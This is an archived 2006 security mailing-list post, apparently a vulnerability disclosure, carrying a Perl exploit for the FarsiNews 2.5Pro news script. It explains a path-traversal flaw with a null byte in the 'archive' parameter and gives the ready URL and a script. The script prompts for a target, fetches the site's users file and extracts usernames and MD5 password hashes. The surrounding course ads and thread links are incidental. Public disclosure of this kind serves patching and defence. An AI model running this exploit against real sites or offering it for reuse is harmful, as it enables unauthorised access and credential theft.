Ethical Hacking Learn to find vulnerabilities before the bad guys do! Gain real world hands on hacking experience in our state of the art hacking lab. Course designed and taught by expert instructors with years of penetration testing experience. 12 student maximum in every class. Certification attempt included in every package. | Computer Forensics Training at InfoSec Institute Gain the in-demand skills of a certified computer examiner, learn to recover trace data left behind by fraud, theft, and cybercrime perpetrators. Discover the source of computer crime and abuse at your organization so that it never happens again. All of our class sizes are guaranteed to be 12 students or less to facilitate one-on-one interaction with one of our expert instructors. |

| Subject: | FarsiNews 2.5Pro Exploit |
|---|---|
| Date: | 28 Feb 2006 13:16:24 -0000 |
#!/usr/bin/perl # << HESSAM-X >> # FarsiNews 2.5Pro Exploi # Exploit by Hessam-x (www.hessamx.net) #Iran Hackerz Security Team #WebSite: www.hackerz.ir # # Summery # Name : FarsiNews [www.farsinewsteam.com] # version : 2.5Pro ###################################################### # in FarsiNews if you change the archive value : # http://localhost/index.php?archive=hamid # see : # Warning: file([PATH]/data/archives/hamid.news.arch.php): # failed to open stream: No such file or directory in [PATH]\inc\shows.inc.php on line 642 # Warning: file([PATH]/data/archives/hamid.comments.arch.php): # failed to open stream: No such file or directory in [PATH]\inc\shows.inc.php on line 686 # ...[and many other error] # it means that shows.inc.php try to open '/archives/hamid.news.arch.php' (and also 'hamid.comments.arch.php') to read it's data . # we can change the archive value to '/../users.db.php%00' to see all username and password . # Exploit : # http://localhost/index.php?archive=/../users.db.php%00 # http://localhost/Farsi1/index.php?archive=/../[file-to-read]%00 # F0und by hamid use LWP::Simple; print "-------------------------------------------\n"; print "= Farsinews 2.5Pro =\n"; print "= By Hessam-x - www.hackerz.ir =\n"; print "-------------------------------------------\n\n"; print "Target(www.example.com)\> "; chomp($targ = <STDIN>); print "Path: (/fn25/)\>"; chomp($path=<STDIN>); $url = "index.php?archive=/../users.db.php%00"; $page = get("http://".$targ.$path.$url) || die "[-] Unable to retrieve: $!"; print "[+] Connected to: $targ\n"; $page =~ m/<img alt="(.*?)" src=/ && print "[+] Username: $1\n"; $page =~ m/style="border: none;" align="right" \/>(.*?)<\/font>/ && print "[+] MD5 Password: $1\n"; print "[-] Unable to retrieve User ID\n" if(!$1);
| <Prev in Thread] | Current Thread | [Next in Thread> |
|---|---|---|
| ||
| Previous by Date: | Re: NETGEAR WGT624 Wireless DSL router default user name/password vulnerability, James Garrison |
|---|---|
| Next by Date: | EJ3 TOPo - Cross Site Scripting Vulnerability, mail |
| Previous by Thread: | Sourceforge XSS, liz0 |
| Next by Thread: | EJ3 TOPo - Cross Site Scripting Vulnerability, mail |
| Indexes: | [Date] [Thread] [Top] [All Lists] |